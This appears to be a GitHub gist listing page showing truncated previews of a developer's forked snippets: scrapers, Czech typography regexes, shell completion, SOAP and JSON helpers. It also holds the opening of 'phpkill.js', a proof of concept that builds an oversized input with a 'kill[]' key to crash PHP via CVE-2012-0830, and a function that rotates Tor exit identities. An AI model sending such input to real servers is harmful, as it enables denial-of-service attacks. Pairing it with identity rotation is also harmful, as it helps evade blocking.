Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env python
import string, re
import requests
URL_LIST = 'http://www.bestoldgames.net/abc/%s.php'
URL_DL = 'http://www.bestoldgames.net/download/bgames/%s.zip'
RE_HREF = re.compile(r'<a href="/stare-hry/(.*?).php">')
urls = []
@starenka
starenka / texytypo.py
Created October 1, 2012 09:13 — forked from msgre/texytypo.py
Texy typoška
import re
# sada regularnich vyrazu pro lepsi typosku
# zdroj: texy-2.1/texy/modules/TexyTypographyModule.php
TEXY_CHARS = ur'A-Za-z\u00C0-\u02FF\u0370-\u1EFF'
TEXY_TYPO_PATTERNS = [
(re.compile(ur'(?<![.\u2026])\.{3,4}(?![.\u2026])', re.M | re.U), u"\u2026"), # ellipsis ...
(re.compile(ur'(?<=[\d ])-(?=[\d ]|$)'), u"\u2013"), # en dash 123-123
(re.compile(ur'(?<=[^!*+,/:;<=>@\\\\_|-])--(?=[^!*+,/:;<=>@\\\\_|-])'), u"\u2013"), # en dash alphanum--alphanum
@starenka
starenka / gist:3787412
Created September 26, 2012 11:15 — forked from ehmo/gist:1349819
Request a new IP address from TOR in Python
def NewTorIP():
s = socket.socket()
s.connect(('localhost', 9051))
s.send("AUTHENTICATE\r\n")
r = s.recv(1024)
if r.startswith('250'):
s.send("signal NEWNYM\r\n")
r = s.recv(1024)
if r.startswith('250'):
return True
@starenka
starenka / about.md
Created August 30, 2012 20:12 — forked from jasonrudolph/about.md
Programming Achievements: How to Level Up as a Developer
@starenka
starenka / _hg
Created March 29, 2012 22:57 — forked from yuitowest/_hg
Zsh completion script for mercurial
#compdef hg
# Zsh completion script for mercurial. Rename this file to _hg and copy
# it into your zsh function path (/usr/share/zsh/site-functions for
# instance)
#
# If you do not want to install it globally, you can copy it somewhere
# else and add that directory to $fpath. This must be done before
# compinit is called. If the file is copied to ~/.zsh.d, your ~/.zshrc
# file could look like this:
@starenka
starenka / core.py
Created March 13, 2012 20:11 — forked from kracekumar/core.py
parallelpip demo
#! -*- Coding: utf-8 -*-
from gevent import monkey
monkey.patch_all()
import gevent
import time
from envoy import run
from sys import exit, argv
import subprocess
import pip
@starenka
starenka / phpkill.js
Created February 3, 2012 13:07 — forked from pilate/phpkill.js
// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
// Generate 1000 normal keys and one array
function createEvilObj () {
var evil_obj = {};
for (var i = 0; i < 1001; i++) {
evil_obj[i] = 1;
}
evil_obj['kill[]'] = 'kill';
import simplejson as json
import lxml
class objectJSONEncoder(json.JSONEncoder):
"""A specialized JSON encoder that can handle simple lxml objectify types
>>> from lxml import objectify
>>> obj = objectify.fromstring("<Book><price>1.50</price><author>W. Shakespeare</author></Book>")
>>> objectJSONEncoder().encode(obj)
'{"price": 1.5, "author": "W. Shakespeare"}'
"""
@starenka
starenka / simple_as_hell.py
Created November 7, 2011 20:05 — forked from sputnikus/simple_as_hell.py
SOAP in Python - examples
import logging
from rpclib.application import Application
from rpclib.decorator import srpc
from rpclib.service import ServiceBase
from rpclib.model.primitive import String
from rpclib.model.primitive import Integer
from rpclib.model.complex import Iterable
from rpclib.interface.wsdl import Wsdl11
from rpclib.protocol.soap import Soap11
@starenka
starenka / Y-U-NO-HTML.py
Created September 15, 2011 14:18
Aktuální Respekt v HTML
# Scrapuje Respekt.cz, aby to shráblo aktuální číslo v HTML.
# Nestahuje to obrázky, ale vidět jsou, protože maj absolutní URL,
# tohle se dá spravit pomocí pář řádků.
#
# Bohužel hapruje diakritika, bude tam někde potřeba pořešit přes iconv nebo tak něco.
import mechanize
from pyquery import PyQuery as pq
usr = "username"